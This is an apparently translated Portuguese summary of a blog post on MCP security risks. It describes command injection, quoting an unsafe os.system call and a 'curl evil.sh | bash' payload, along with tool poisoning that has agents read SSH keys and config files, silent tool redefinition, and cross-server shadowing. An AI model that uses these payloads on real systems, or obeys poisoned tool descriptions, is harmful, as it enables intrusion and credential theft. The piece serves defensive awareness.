O “S” de MCP significa segurança
(medium.com/@elenacross7)- Model Context Protocol (MCP) vem ganhando destaque como padrão para conectar agentes LLM como Claude, GPT e Cursor a ferramentas e dados, mas seu modelo de segurança básico é fraco, de modo que a própria adoção pode ampliar a superfície de ataque
- Em troca da facilidade de conexão por API padrão, sessões persistentes, execução de comandos e compartilhamento de contexto, a conexão com servidores arbitrários pode se tornar um caminho indireto para shells, segredos e infraestrutura
- Em testes da Equixly, mais de 43% das implementações de servidores MCP continham chamadas de shell inseguras, e a Invariant Labs tratou do Tool Poisoning Attack, que oculta instruções maliciosas na descrição da ferramenta
- No MCP faltam padrão de autenticação, criptografia de contexto e verificação de integridade das ferramentas, e os usuários têm dificuldade para ver todas as instruções de ferramenta que o agente realmente lê
- Desenvolvedores precisam de validação de entrada e fixação de versão, plataformas precisam exibir metadados e hashes de integridade, e usuários devem evitar conexões com servidores arbitrários e monitorar atualizações inesperadas de ferramentas
Por que o MCP se torna uma superfície de ataque
- MCP (Model Context Protocol) é um novo padrão para a forma como LLMs se integram a ferramentas e dados, sendo chamado de “USB-C para agentes de IA”
- Por meio do MCP, agentes podem lidar com várias tarefas de maneira padronizada
- conectar-se a ferramentas por APIs padronizadas
- manter sessões persistentes
- executar comandos
- compartilhar contexto entre fluxos de trabalho
- O problema central é que o MCP não oferece um modelo de segurança padrão
- conectar um agente a um servidor MCP arbitrário pode criar canais laterais que levam a shells, segredos e infraestrutura
Formas de ataque realmente discutidas
-
Vulnerabilidades de injeção de comando
- Em testes da Equixly, mais de 43% das implementações de servidores MCP incluíam chamadas de shell inseguras
- O código de exemplo concatena diretamente a entrada do usuário em um comando de shell, como em
os.system("notify-send " + notification_info['msg']) - Se um invasor inserir um payload como
"; curl evil.sh | bash"nos parâmetros de uma ferramenta MCP, a execução remota de código pode ocorrer por meio de um agente confiável
-
Tool Poisoning Attack
- O ataque tratado pela Invariant Labs oculta instruções maliciosas na descrição da ferramenta MCP
- Essa descrição não fica visível para o usuário, mas é exposta integralmente à IA
- A ferramenta de exemplo parece uma função que soma dois números, mas inclui, na descrição, instruções para ler
~/.ssh/id_rsae~/.cursor/mcp.json - Agentes como o Cursor podem seguir esse tipo de instrução
-
Silent Redefinition
- Ferramentas MCP podem alterar sua própria definição após a instalação
- Mesmo que o usuário tenha aprovado no primeiro dia uma ferramenta que parecia segura, ela pode depois mudar silenciosamente para enviar chaves de API a um invasor
- Isso pode ser visto como um problema de cadeia de suprimentos que entrou no interior do LLM
-
Cross-Server Tool Shadowing
- Quando vários servidores estão conectados ao mesmo agente, um servidor malicioso pode sobrescrever ou interceptar chamadas destinadas a um servidor confiável
- Resultados possíveis incluem:
- enviar para o invasor um e-mail que parece ter sido enviado ao usuário
- inserir lógica encoberta em ferramentas não relacionadas
- codificar exfiltração de dados por meio de argumentos pouco visíveis
Mecanismos de segurança ausentes e resposta por papel
- A prioridade atual do MCP está mais próxima de integração fácil e interface unificada, e faltam os seguintes recursos de segurança
- não há padrão de autenticação
- não há criptografia de contexto
- não há método de verificação de integridade das ferramentas
- Os usuários não conseguem inspecionar todas as instruções de ferramenta que o agente vê, nem existe um mecanismo para verificar que “esta ferramenta não foi adulterada”
-
Desenvolvedores
- usar validação de entrada
- fixar versões de servidores MCP e ferramentas
- higienizar descrições de ferramentas
-
Construtores de plataforma
- exibir todos os metadados das ferramentas
- usar hashes de integridade em atualizações de servidor
- impor segurança de sessão
-
Usuários
- não se conectar a servidores arbitrários
- monitorar o comportamento da sessão como se fossem logs de produção
- vigiar atualizações inesperadas de ferramentas
A proposta do ScanMCP.com
- ScanMCP.com pode incluir um scanner e um dashboard para auditar ferramentas MCP conectadas
- Itens a serem exibidos incluem
- riscos como RCE, envenenamento de ferramenta e vazamento de sessão
- a diferença entre o que o usuário vê e o que o agente vê
- Os alvos adequados são equipes de segurança de plataformas de agentes, startups de infraestrutura de IA e construtores independentes de ferramentas que priorizam confiança
- O MCP é poderoso, mas até que protocolos de segurança básicos estejam em vigor, são necessárias ferramentas que ofereçam visibilidade e controle
Ainda não há comentários.